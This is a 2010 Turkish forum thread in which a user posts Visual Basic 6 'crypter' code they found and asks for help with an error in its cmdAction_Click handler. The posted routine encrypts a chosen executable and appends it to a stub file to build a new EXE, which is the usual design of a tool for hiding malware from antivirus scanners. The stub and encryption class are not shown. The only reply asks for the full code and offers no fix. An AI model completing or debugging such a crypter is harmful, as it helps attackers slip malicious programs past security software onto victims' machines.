cmdaction

frkngncr · 6 Mar 2010

selamun aleykum arkadaşlar crypter kodları buldum hatalarını düzeltmeye çalışıyorum

Private Sub cmdAction_Click(Index As Integer) bu hatayı veriyor

sanırım cmd action eklememi istiyor aradım ama bi türlü nerde olduğunu bulamadım yardımcı olabilirmisiniz

frkngncr · 7 Mar 2010

yokmu yardım edebilcek?

shadoww1985 · 7 Mar 2010

kodları detaylı olarak yazman gerekir ki yardım edebilelim

frkngncr · 7 Mar 2010

KODLAR

Private Sub cmdAction_Click(Index As Integer)
Select Case Index

Case 0
Dim sSave As String
sSave = Space(255)
GetFileNameFromBrowseW Me.hWnd, StrPtr(sSave), 255, StrPtr("c:\"), StrPtr("txt"), StrPtr("Apps (*.EXE)" + Chr$(0) + "*.EXE" + Chr$(0) + "All files (*.*)" + Chr$(0) + "*.*" + Chr$(0)), StrPtr("Select File")
Text1 = Left$(sSave, lstrlen(sSave))

Case 1
Dim sBuff As String
Dim c As New clsCryptAPI
Dim sSize As String * 8

If Not Text1 = vbNullString Then

If PathFileExists(App.Path & "\Test.exe") Then
Kill App.Path & "\Test.exe"
End If

Open App.Path & "\Test.exe" For Binary Access Write As #2
sBuff = LoadFile(App.Path & "\stub.exe")
Put #2, , sBuff
sBuff = LoadFile(Text1)
sBuff = c.EncryptString(sBuff)
Put #2, , sBuff
sSize = Len(sBuff)
Put #2, , sSize
Put #2, , 27
Close #2
MsgBox "Done"
End If
End Select
End Sub

cmdaction

frkngncr

Üye

frkngncr

Üye

shadoww1985

Katılımcı Üye

frkngncr

Üye

Sosyal medya sayfalarımız